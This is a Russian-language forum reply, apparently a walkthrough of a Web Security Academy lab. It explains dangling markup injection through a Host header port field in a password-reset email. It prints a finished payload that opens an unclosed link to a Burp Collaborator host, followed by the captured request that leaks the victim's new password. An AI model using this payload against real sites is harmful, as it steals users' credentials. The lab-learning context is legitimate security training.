Ты зря начал с этой темы, надо было начинать с xss и html injection, потом подробней ознакомится с висящей разметкой и как ее едят.
Что по сабжу, то если коротко, то висящая разметка, это когда у тебя есть незакрытый аттрибут тега, то весь дальнейший код страницы будет интерпретироваться этим браузером как этот незакрытый аттрибут. Конкретно в данной ситуации, такие штуки фильтруются библиотекой DOMPurify (судя по описанию), но если перейти на view raw то код никак не фильтруется. Соответственно, есть уязвимость заголовка Host, в котором вместо порта мы можем указывать любие нечисловые значения и из этого хоста будет генерироваться ссылка, тоесть отображаться в нашем html во view raw.
Код:
<p>Hello!</p>
<p>Please <a href='https://ac841f1d1e69d3008026296a001a00b3.web-security-academy.net:test/login'>click here</a> to login with your new password: pIiQ4fFThy</p>
<p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>
Обрати внимание, что в href вместо порта я указал 'test'. Теперь, если вместо 'test' мы отправим одинарную кавычку, мы закроем аттрибут, и сможем дальше вставить свой тег <a href="http://твой_сервер/? . Так как аттрибут href не закрыт, то в ссылку попадет оставшийся код страницы, который передастся get запросом когда человек перейдет по ссылке. А так как пароль содержится в коде страницы, то его мы тоже получим.
Вот такой вид будет иметь готовый пэйлоад;
Код:
<p>Hello!</p>
<p>Please <a href='https://ac841f1d1e69d3008026296a001a00b3.web-security-academy.net:'<a href="https://uzxjud8gp1bjde90drsse4147vdl1a.burpcollaborator.net/?/login'>click here</a> to login with your new password: P5cmwW7xON</p><p>Thanks,<br/>Support team</p><i>This email has been scanned by the MacCarthy Email Security service</i>
А вот то что мне пришло на burp collaborator (пароли разные так как этот запрос уже с компьютера жертвы):
Код:
GET /?/login'>click+here</a>+to+login+with+your+new+password:+Bg31Tvgrza</p><p>Thanks,<br/>Support+team</p><i>This+email+has+been+scanned+by+the+MacCarthy+Email+Security+service</i> HTTP/1.1
Host: uzxjud8gp1bjde90drsse4147vdl1a.burpcollaborator.net
Accept-Encoding: gzip